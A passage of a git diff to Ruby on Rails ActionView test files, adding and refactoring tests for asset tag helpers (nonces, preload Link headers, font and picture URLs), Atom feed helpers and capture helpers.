+    %(video_tag("silver.m4v", "size" => "100.3x200.6")) => %(<video height="200.6" src="/videos/silver.m4v" width="100.3"></video>),
+    %(video_tag("bronze.m4v", :size => "50x12.7")) => %(<video height="12.7" src="/videos/bronze.m4v" width="50"></video>),
+    %(video_tag("bronze.m4v", "size" => "50x12.7")) => %(<video height="12.7" src="/videos/bronze.m4v" width="50"></video>),
+    %(video_tag("platinum.m4v", :size => "10.1x24")) => %(<video height="24" src="/videos/platinum.m4v" width="10.1"></video>),
+    %(video_tag("platinum.m4v", "size" => "10.1x24")) => %(<video height="24" src="/videos/platinum.m4v" width="10.1"></video>),
     %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
     %(video_tag("error.avi", "size" => "100")) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
     %(video_tag("error.avi", "size" => 100)) => %(<video height="100" src="/videos/error.avi" width="100"></video>),
     %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "1,024x768")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "768x1,024")) => %(<video src="/videos/error.avi"></video>),
     %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
     %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
     %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
@@ -299,6 +454,24 @@ def url_for(*args)
     %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
   }
 
+  FontUrlToTag = {
+    %(font_url("font.eot")) => %(http://www.example.com/fonts/font.eot),
+    %(font_url("font.eot#iefix")) => %(http://www.example.com/fonts/font.eot#iefix),
+    %(font_url("font.woff")) => %(http://www.example.com/fonts/font.woff),
+    %(font_url("font.ttf")) => %(http://www.example.com/fonts/font.ttf),
+    %(font_url("font.ttf?123")) => %(http://www.example.com/fonts/font.ttf?123),
+    %(font_url("font.ttf", host: "http://assets.example.com")) => %(http://assets.example.com/fonts/font.ttf)
+  }
+
+  UrlToFontToTag = {
+    %(url_to_font("font.eot")) => %(http://www.example.com/fonts/font.eot),
+    %(url_to_font("font.eot#iefix")) => %(http://www.example.com/fonts/font.eot#iefix),
+    %(url_to_font("font.woff")) => %(http://www.example.com/fonts/font.woff),
+    %(url_to_font("font.ttf")) => %(http://www.example.com/fonts/font.ttf),
+    %(url_to_font("font.ttf?123")) => %(http://www.example.com/fonts/font.ttf?123),
+    %(url_to_font("font.ttf", host: "http://assets.example.com")) => %(http://assets.example.com/fonts/font.ttf)
+  }
+
   def test_autodiscovery_link_tag_with_unknown_type_but_not_pass_type_option_key
     assert_raise(ArgumentError) do
       auto_discovery_link_tag(:xml)
@@ -371,7 +544,7 @@ def test_javascript_include_tag_with_missing_source
   end
 
   def test_javascript_include_tag_is_html_safe
-    assert javascript_include_tag("prototype").html_safe?
+    assert_predicate javascript_include_tag("prototype"), :html_safe?
   end
 
   def test_javascript_include_tag_relative_protocol
@@ -385,6 +558,20 @@ def test_javascript_include_tag_default_protocol
     assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag("prototype")
   end
 
+  def test_javascript_include_tag_nonce
+    assert_dom_equal %(<script src="/javascripts/bank.js" nonce="iyhD0Yc0W+c="></script>), javascript_include_tag("bank", nonce: true)
+  end
+
+  def test_javascript_include_tag_nonce_with_auto_nonce
+    with_auto_include_nonce_for_scripts do
+      assert_dom_equal %(<script src="/javascripts/bank.js" nonce="iyhD0Yc0W+c="></script>), javascript_include_tag("bank")
+    end
+  end
+
+  def test_javascript_include_tag_nonce_false
+    assert_dom_equal %(<script src="/javascripts/bank.js"></script>), javascript_include_tag("bank", nonce: false)
+  end
+
   def test_stylesheet_path
     StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
@@ -405,6 +592,20 @@ def test_stylesheet_link_tag
     StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_stylesheet_link_tag_nonce
+    assert_dom_equal %(<link rel="stylesheet" href="/stylesheets/foo.css" nonce="iyhD0Yc0W+c="></link>), stylesheet_link_tag("foo.css", nonce: true)
+  end
+
+  def test_stylesheet_link_tag_nonce_with_auto_nonce
+    with_auto_include_nonce_for_styles do
+      assert_dom_equal %(<link rel="stylesheet" href="/stylesheets/foo.css" nonce="iyhD0Yc0W+c="></link>), stylesheet_link_tag("foo.css")
+    end
+  end
+
+  def test_stylesheet_link_tag_nonce_false
+    assert_dom_equal %(<link rel="stylesheet" href="/stylesheets/foo.css"></link>), stylesheet_link_tag("foo.css", nonce: false)
+  end
+
   def test_stylesheet_link_tag_with_missing_source
     assert_nothing_raised {
       stylesheet_link_tag("missing_security_guard")
@@ -415,9 +616,17 @@ def test_stylesheet_link_tag_with_missing_source
     }
   end
 
+  def test_stylesheet_link_tag_without_request
+    @request = nil
+    assert_dom_equal(
+      %(<link rel="stylesheet" href="/stylesheets/foo.css" />),
+      stylesheet_link_tag("foo.css")
+    )
+  end
+
   def test_stylesheet_link_tag_is_html_safe
-    assert stylesheet_link_tag("dir/file").html_safe?
-    assert stylesheet_link_tag("dir/other/file", "dir/file2").html_safe?
+    assert_predicate stylesheet_link_tag("dir/file"), :html_safe?
+    assert_predicate stylesheet_link_tag("dir/other/file", "dir/file2"), :html_safe?
   end
 
   def test_stylesheet_link_tag_escapes_options
@@ -425,18 +634,185 @@ def test_stylesheet_link_tag_escapes_options
   end
 
   def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
-    assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("wellington", "wellington", "amsterdam")
+    assert_dom_equal %(<link href="/stylesheets/wellington.css" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" rel="stylesheet" />), stylesheet_link_tag("wellington", "wellington", "amsterdam")
   end
 
   def test_stylesheet_link_tag_with_relative_protocol
     @controller.config.asset_host = "assets.example.com"
-    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("wellington", protocol: :relative)
+    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" rel="stylesheet" />), stylesheet_link_tag("wellington", protocol: :relative)
   end
 
   def test_stylesheet_link_tag_with_default_protocol
     @controller.config.asset_host = "assets.example.com"
     @controller.config.default_asset_host_protocol = :relative
-    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("wellington")
+    assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" rel="stylesheet" />), stylesheet_link_tag("wellington")
+  end
+
+  def test_stylesheet_link_tag_with_configured_stylesheet_media_default
+    original_default_media = ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default
+    ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default = true
+
+    assert_dom_equal %(<link href="/file.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("/file")
+    assert_dom_equal %(<link href="/file.css" media="all" rel="stylesheet" />), stylesheet_link_tag("/file", media: "all")
+  ensure
+    ActionView::Helpers::AssetTagHelper.apply_stylesheet_media_default = original_default_media
+  end
+
+  def test_stylesheet_link_tag_without_default_extension_applied
+    assert_dom_equal %(<link href="/stylesheets/wellington.less" rel="stylesheet" />), stylesheet_link_tag("wellington.less", extname: false)
+  end
+
+  def test_javascript_include_tag_without_default_extension_applied
+    assert_dom_equal %(<script src="/javascripts/foo.jsx"></script>), javascript_include_tag("foo.jsx", extname: false)
+  end
+
+  def test_javascript_include_tag_without_request
+    @request = nil
+    assert_dom_equal %(<script src="/javascripts/foo.js"></script>), javascript_include_tag("foo.js")
+  end
+
+  def test_should_set_preload_links
+    with_preload_links_header do
+      stylesheet_link_tag("http://example.com/style.css")
+      javascript_include_tag("http://example.com/all.js")
+      expected = "<http://example.com/style.css>; rel=preload; as=style; nopush,<http://example.com/all.js>; rel=preload; as=script; nopush"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_not_set_preload_links_for_data_url
+    with_preload_links_header do
+      stylesheet_link_tag("data:text/css;base64,YWxlcnQoIkhlbGxvIik7")
+      javascript_include_tag("data:text/javascript;base64,YWxlcnQoIkhlbGxvIik7")
+      assert_nil @response.headers["link"]
+    end
+  end
+
+  def test_should_not_set_preload_links_if_opted_out_at_invokation
+    with_preload_links_header do
+      stylesheet_link_tag("http://example.com/style.css", preload_links_header: false)
+      javascript_include_tag("http://example.com/all.js", preload_links_header: false)
+      assert_nil @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_links_if_opted_in_at_invokation
+    with_preload_links_header(false) do
+      stylesheet_link_tag("http://example.com/style.css", preload_links_header: true)
+      javascript_include_tag("http://example.com/all.js", preload_links_header: true)
+      expected = "<http://example.com/style.css>; rel=preload; as=style; nopush,<http://example.com/all.js>; rel=preload; as=script; nopush"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_generate_links_under_the_max_size
+    with_preload_links_header do
+      100.times do |i|
+        stylesheet_link_tag("http://example.com/style.css?#{i}")
+        javascript_include_tag("http://example.com/all.js?#{i}")
+      end
+      links = @response.headers["link"].count(",")
+      assert_equal 14, links
+    end
+  end
+
+  def test_should_not_preload_links_with_defer
+    with_preload_links_header do
+      javascript_include_tag("http://example.com/all.js", defer: true)
+      assert_nil @response.headers["link"]
+    end
+  end
+
+  def test_should_allow_caller_to_remove_nopush
+    with_preload_links_header do
+      stylesheet_link_tag("http://example.com/style.css", nopush: false)
+      javascript_include_tag("http://example.com/all.js", nopush: false)
+      expected = "<http://example.com/style.css>; rel=preload; as=style,<http://example.com/all.js>; rel=preload; as=script"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_links_with_cross_origin
+    with_preload_links_header do
+      stylesheet_link_tag("http://example.com/style.css", crossorigin: "use-credentials")
+      javascript_include_tag("http://example.com/all.js", crossorigin: true)
+      expected = "<http://example.com/style.css>; rel=preload; as=style; crossorigin=use-credentials; nopush,<http://example.com/all.js>; rel=preload; as=script; crossorigin=anonymous; nopush"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_links_with_rel_modulepreload
+    with_preload_links_header do
+      javascript_include_tag("http://example.com/all.js", type: "module")
+      expected = "<http://example.com/all.js>; rel=modulepreload; as=script; nopush"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_early_hints_with_rel_modulepreload
+    with_preload_links_header do
+      preload_link_tag("http://example.com/all.js", type: "module")
+      expected = "<http://example.com/all.js>; rel=modulepreload; as=script; type=module"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_links_with_integrity_hashes
+    with_preload_links_header do
+      stylesheet_link_tag("http://example.com/style.css", integrity: "sha256-AbpHGcgLb+kRsJGnwFEktk7uzpZOCcBY74+YBdrKVGs")
+      javascript_include_tag("http://example.com/all.js", integrity: "sha256-AbpHGcgLb+kRsJGnwFEktk7uzpZOCcBY74+YBdrKVGs")
+      expected = "<http://example.com/style.css>; rel=preload; as=style; integrity=sha256-AbpHGcgLb+kRsJGnwFEktk7uzpZOCcBY74+YBdrKVGs; nopush,<http://example.com/all.js>; rel=preload; as=script; integrity=sha256-AbpHGcgLb+kRsJGnwFEktk7uzpZOCcBY74+YBdrKVGs; nopush"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_links_with_nonce
+    @request.content_security_policy_nonce_directives = %w(script-src)
+    with_preload_links_header do
+      preload_link_tag("http://example.com/preload.js")
+      stylesheet_link_tag("http://example.com/style.css", nonce: true)
+      javascript_include_tag("http://example.com/all.js", nonce: true)
+      expected = "<http://example.com/preload.js>; rel=preload; as=script; type=text/javascript; nonce=iyhD0Yc0W+c=,<http://example.com/style.css>; rel=preload; as=style; nonce=iyhD0Yc0W+c=; nopush,<http://example.com/all.js>; rel=preload; as=script; nonce=iyhD0Yc0W+c=; nopush"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_link_tag_nonce_if_listed_in_csp_directives
+    @request.content_security_policy_nonce_directives = %w(script-src)
+    assert_equal %(<link rel="preload" href="/application.js" as="script" type="text/javascript" nonce="iyhD0Yc0W+c=">), preload_link_tag("/application.js")
+    assert_equal %(<link rel="preload" href="/style.css" as="style" type="text/css">), preload_link_tag("/style.css")
+
+    @request.content_security_policy_nonce_directives = %w(style-src)
+    assert_equal %(<link rel="preload" href="/application.js" as="script" type="text/javascript">), preload_link_tag("/application.js")
+    assert_equal %(<link rel="preload" href="/style.css" as="style" type="text/css" nonce="iyhD0Yc0W+c=">), preload_link_tag("/style.css")
+  end
+
+  def test_should_not_preload_links_when_disabled
+    with_preload_links_header(false) do
+      stylesheet_link_tag("http://example.com/style.css")
+      javascript_include_tag("http://example.com/all.js")
+      assert_nil @response.headers["link"]
+    end
+  end
+
+  def test_should_set_preload_links_with_fetchpriority
+    with_preload_links_header do
+      preload_link_tag("http://example.com/hero.jpg", fetchpriority: "high")
+      preload_link_tag("http://example.com/background.png", fetchpriority: "low")
+      expected = "<http://example.com/hero.jpg>; rel=preload; as=image; type=image/jpeg; fetchpriority=high,<http://example.com/background.png>; rel=preload; as=image; type=image/png; fetchpriority=low"
+      assert_equal expected, @response.headers["link"]
+    end
+  end
+
+  def test_preload_link_tag_fetchpriority_html_and_header_consistency
+    with_preload_links_header do
+      html_tag = preload_link_tag("http://example.com/critical.css", fetchpriority: "high")
+      # Verify HTML tag includes fetchpriority
+      assert_match(/fetchpriority="high"/, html_tag)
+
+      expected_header = "<http://example.com/critical.css>; rel=preload; as=style; type=text/css; fetchpriority=high"
+      assert_equal expected_header, @response.headers["link"]
+    end
   end
 
   def test_image_path
@@ -455,16 +831,6 @@ def test_url_to_image_alias_for_image_url
     UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
-  def test_image_alt
-    [nil, "/", "/foo/bar/", "foo/bar/"].each do |prefix|
-      assert_equal "Rails", image_alt("#{prefix}rails.png")
-      assert_equal "Rails", image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
-      assert_equal "Rails", image_alt("#{prefix}rails-f56ef62bc41b040664e801a38f068082a75d506d9048307e8096737463503d0b.png")
-      assert_equal "Long file name with hyphens", image_alt("#{prefix}long-file-name-with-hyphens.png")
-      assert_equal "Long file name with underscores", image_alt("#{prefix}long_file_name_with_underscores.png")
-    end
-  end
-
   def test_image_tag
     ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
@@ -483,10 +849,54 @@ def test_image_tag_raises_an_error_for_competing_size_arguments
     assert_equal("Cannot pass a :size option with a :height or :width option", exception.message)
   end
 
+  def test_image_tag_loading_attribute_default_value
+    original_image_loading = ActionView::Helpers::AssetTagHelper.image_loading
+    ActionView::Helpers::AssetTagHelper.image_loading = "lazy"
+
+    assert_dom_equal %(<img src="" loading="lazy" />), image_tag("")
+    assert_dom_equal %(<img src="" loading="eager" />), image_tag("", loading: "eager")
+  ensure
+    ActionView::Helpers::AssetTagHelper.image_loading = original_image_loading
+  end
+
+  def test_image_tag_decoding_attribute_default_value
+    original_image_decoding = ActionView::Helpers::AssetTagHelper.image_decoding
+    ActionView::Helpers::AssetTagHelper.image_decoding = "async"
+
+    assert_dom_equal %(<img src="" decoding="async" />), image_tag("")
+    assert_dom_equal %(<img src="" decoding="sync" />), image_tag("", decoding: "sync")
+  ensure
+    ActionView::Helpers::AssetTagHelper.image_decoding = original_image_decoding
+  end
+
   def test_favicon_link_tag
     FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_preload_link_tag
+    PreloadLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_picture_path
+    PicturePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_path_to_picture_alias_for_picture_path
+    PathToPictureToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_picture_url
+    PictureUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_picture_alias_for_picture_url
+    UrlToPictureToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_picture_tag
+    PictureLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_video_path
     VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
@@ -531,6 +941,14 @@ def test_font_path
     FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_font_url
+    FontUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_font_alias_for_font_url
+    UrlToFontToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_video_audio_tag_does_not_modify_options
     options = { autoplay: true }
     video_tag("video", options)
@@ -559,9 +977,6 @@ class PlaceholderImage
     def blank?; true; end
     def to_s; "no-image-yet.png"; end
   end
-  def test_image_tag_with_blank_placeholder
-    assert_equal '<img alt="" src="/images/no-image-yet.png" />', image_tag(PlaceholderImage.new, alt: "")
-  end
   def test_image_path_with_blank_placeholder
     assert_equal "/images/no-image-yet.png", image_path(PlaceholderImage.new)
   end
@@ -614,7 +1029,9 @@ def setup
     @controller = BasicController.new
     @controller.config.relative_url_root = "/collaboration/hieraki"
 
-    @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
+    @request = Struct.new(:protocol, :base_url) do
+      def send_early_hints(links); end
+    end.new("gopher://", "gopher://www.example.com")
     @controller.request = @request
   end
 
@@ -699,23 +1116,23 @@ def test_should_return_asset_host_with_protocol
 
   def test_should_ignore_asset_host_on_complete_url
     @controller.config.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+    assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
   end
 
   def test_should_ignore_asset_host_on_scheme_relative_url
     @controller.config.asset_host = "http://assets.example.com"
-    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
+    assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
   end
 
   def test_should_wildcard_asset_host
     @controller.config.asset_host = "http://a%d.example.com"
-    assert_match(%r(http://a[0123].example.com), compute_asset_host("foo"))
+    assert_match(%r(http://a[0123]\.example\.com), compute_asset_host("foo"))
   end
 
   def test_should_wildcard_asset_host_between_zero_and_four
     @controller.config.asset_host = "http://a%d.example.com"
-    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
-    assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+    assert_match(%r(http://a[0123]\.example\.com/collaboration/hieraki/images/xml\.png), image_path("xml.png"))
+    assert_match(%r(http://a[0123]\.example\.com/collaboration/hieraki/images/xml\.png), image_url("xml.png"))
   end
 
   def test_asset_host_without_protocol_should_be_protocol_relative
@@ -736,6 +1153,49 @@ def test_assert_css_and_js_of_the_same_name_return_correct_extension
   end
 end
 
+class AssetTagHelperWithoutRequestTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  undef :request
+
+  def test_stylesheet_link_tag_without_request
+    assert_dom_equal(
+      %(<link rel="stylesheet" href="/stylesheets/foo.css" />),
+      stylesheet_link_tag("foo.css")
+    )
+  end
+
+  def test_javascript_include_tag_without_request
+    assert_dom_equal %(<script src="/javascripts/foo.js"></script>), javascript_include_tag("foo.js")
+  end
+end
+
+class AssetTagHelperWithStreamingRequest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  include AssetTagHelperTestHelpers
+
+  def setup
+    super
+    response.sending!
+  end
+
+  def test_stylesheet_link_tag_with_streaming
+    with_preload_links_header do
+      assert_dom_equal(
+        %(<link rel="stylesheet" href="/stylesheets/foo.css" />),
+        stylesheet_link_tag("foo.css")
+      )
+    end
+  end
+
+  def test_javascript_include_tag_with_streaming
+    with_preload_links_header do
+      assert_dom_equal %(<script src="/javascripts/foo.js"></script>), javascript_include_tag("foo.js")
+    end
+  end
+end
+
 class AssetUrlHelperControllerTest < ActionView::TestCase
   tests ActionView::Helpers::AssetUrlHelper
 
diff --git a/actionview/test/template/atom_feed_helper_test.rb b/actionview/test/template/atom_feed_helper_test.rb
index 1245a1a966917..4a73c2931ea23 100644
--- a/actionview/test/template/atom_feed_helper_test.rb
+++ b/actionview/test/template/atom_feed_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 Scroll = Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at) do
@@ -27,7 +29,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["entry_options"] = <<-EOT
         atom_feed do |feed|
           feed.title("My great blog!")
@@ -44,7 +46,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["entry_type_options"] = <<-EOT
         atom_feed(:schema_date => '2008') do |feed|
           feed.title("My great blog!")
@@ -61,7 +63,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["entry_url_false_option"] = <<-EOT
         atom_feed do |feed|
           feed.title("My great blog!")
@@ -78,7 +80,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["xml_block"] = <<-EOT
         atom_feed do |feed|
           feed.title("My great blog!")
@@ -95,7 +97,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["feed_with_atomPub_namespace"] = <<-EOT
         atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
                  'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
@@ -114,7 +116,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["feed_with_overridden_ids"] = <<-EOT
         atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
           feed.title("My great blog!")
@@ -132,7 +134,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
         atom_feed(:schema_date => '2008',
           :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
@@ -150,7 +152,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
         atom_feed(:schema_date => '2008',
           :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
@@ -168,7 +170,7 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["feed_with_xhtml_content"] = <<-'EOT'
         atom_feed do |feed|
           feed.title("My great blog!")
@@ -190,11 +192,11 @@ class ScrollsController < ActionController::Base
             end
           end
         end
-    EOT
+  EOT
   FEEDS["provide_builder"] = <<-'EOT'
           # we pass in the new_xml to the helper so it doesn't
           # call anything on the original builder
-          new_xml = Builder::XmlMarkup.new(:target=>'')
+          new_xml = Builder::XmlMarkup.new(:target=>''.dup)
           atom_feed(:xml => new_xml) do |feed|
             feed.title("My great blog!")
             feed.updated(@scrolls.first.created_at)
@@ -210,7 +212,7 @@ class ScrollsController < ActionController::Base
               end
             end
           end
-    EOT
+  EOT
   def index
     @scrolls = [
       Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
@@ -255,7 +257,7 @@ def test_providing_builder_to_atom_feed
       get :index, params: { id: "provide_builder" }
       # because we pass in the non-default builder, the content generated by the
       # helper should go 'nowhere'.  Leaving the response body blank.
-      assert @response.body.blank?
+      assert_predicate @response.body, :blank?
     end
   end
 
@@ -301,8 +303,8 @@ def test_feed_should_include_atomPub_namespace
     with_restful_routing(:scrolls) do
       get :index, params: { id: "feed_with_atomPub_namespace" }
       assert_match %r{xml:lang="en-US"}, @response.body
-      assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
-      assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
+      assert_match %r{xmlns="http://www\.w3\.org/2005/Atom"}, @response.body
+      assert_match %r{xmlns:app="http://www\.w3\.org/2007/app"}, @response.body
     end
   end
 
@@ -318,8 +320,8 @@ def test_feed_should_allow_overriding_ids
   def test_feed_xml_processing_instructions
     with_restful_routing(:scrolls) do
       get :index, params: { id: "feed_with_xml_processing_instructions" }
-      assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
-      assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
+      assert_match %r{<\?xml-stylesheet [^?]*type="text/css"}, @response.body
+      assert_match %r{<\?xml-stylesheet [^?]*href="t\.css"}, @response.body
     end
   end
 
@@ -334,7 +336,7 @@ def test_feed_xml_processing_instructions_duplicate_targets
   def test_feed_xhtml
     with_restful_routing(:scrolls) do
       get :index, params: { id:  "feed_with_xhtml_content" }
-      assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
+      assert_match %r{xmlns="http://www\.w3\.org/1999/xhtml"}, @response.body
       assert_select "summary", text: /Something Boring/
       assert_select "summary", text: /after 2/
     end
diff --git a/actionview/test/template/capture_helper_test.rb b/actionview/test/template/capture_helper_test.rb
index 7f37523eeba20..4f7de497007e5 100644
--- a/actionview/test/template/capture_helper_test.rb
+++ b/actionview/test/template/capture_helper_test.rb
@@ -1,19 +1,21 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class CaptureHelperTest < ActionView::TestCase
   def setup
     super
-    @av = ActionView::Base.new
+    @av = ActionView::Base.empty
     @view_flow = ActionView::OutputFlow.new
   end
 
   def test_capture_captures_the_temporary_output_buffer_in_its_block
-    assert_nil @av.output_buffer
+    assert_predicate @av.output_buffer, :empty?
     string = @av.capture do
       @av.output_buffer << "foo"
       @av.output_buffer << "bar"
     end
-    assert_nil @av.output_buffer
+    assert_predicate @av.output_buffer, :empty?
     assert_equal "foobar", string
   end
 
@@ -24,6 +26,13 @@ def test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffe
     assert_equal "foobar", string
   end
 
+  def test_capture_with_keyword_arguments
+    string = @av.capture("foo", b: "bar") do |a, b:|
+      a + b
+    end
+    assert_equal "foobar", string
+  end
+
   def test_capture_returns_nil_if_the_returned_value_is_not_a_string
     assert_nil @av.capture { 1 }
   end
@@ -38,7 +47,15 @@ def test_capture_doesnt_escape_twice
     assert_equal "&lt;em&gt;bar&lt;/em&gt;", string
   end
 
-  def test_capture_used_for_read
+  def test_capture_does_not_reassign_buffer
+    buffer_object_id = @av.output_buffer.object_id
+
+    @av.capture do
+      assert_equal buffer_object_id, @av.output_buffer.object_id
+    end
+  end
+
+  def test_content_for_used_for_read
     content_for :foo, "foo"
     assert_equal "foo", content_for(:foo)
 
@@ -47,21 +64,21 @@ def test_capture_used_for_read
   end
 
   def test_content_for_with_multiple_calls
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title, "foo"
-    content_for :title, "bar"
+    content_for :title, :bar
     assert_equal "foobar", content_for(:title)
   end
 
   def test_content_for_with_multiple_calls_and_flush
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title, "foo"
-    content_for :title, "bar", flush: true
+    content_for :title, :bar, flush: true
     assert_equal "bar", content_for(:title)
   end
 
   def test_content_for_with_block
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title do
       output_buffer << "foo"
       output_buffer << "bar"
@@ -71,7 +88,7 @@ def test_content_for_with_block
   end
 
   def test_content_for_with_block_and_multiple_calls_with_flush
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title do
       "foo"
     end
@@ -82,7 +99,7 @@ def test_content_for_with_block_and_multiple_calls_with_flush
   end
 
   def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title do
       "foo"
     end
@@ -93,7 +110,7 @@ def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
   end
 
   def test_content_for_with_block_and_multiple_calls_without_flush
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title do
       "foo"
     end
@@ -104,7 +121,7 @@ def test_content_for_with_block_and_multiple_calls_without_flush
   end
 
   def test_content_for_with_whitespace_block
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title, "foo"
     content_for :title do
       output_buffer << "  \n  "
@@ -115,7 +132,7 @@ def test_content_for_with_whitespace_block
   end
 
   def test_content_for_with_whitespace_block_and_flush
-    assert ! content_for?(:title)
+    assert_not content_for?(:title)
     content_for :title, "foo"
     content_for :title, flush: true do
       output_buffer << "  \n  "
@@ -126,7 +143,7 @@ def test_content_for_with_whitespace_block_and_flush
   end
 
   def test_content_for_returns_nil_when_writing
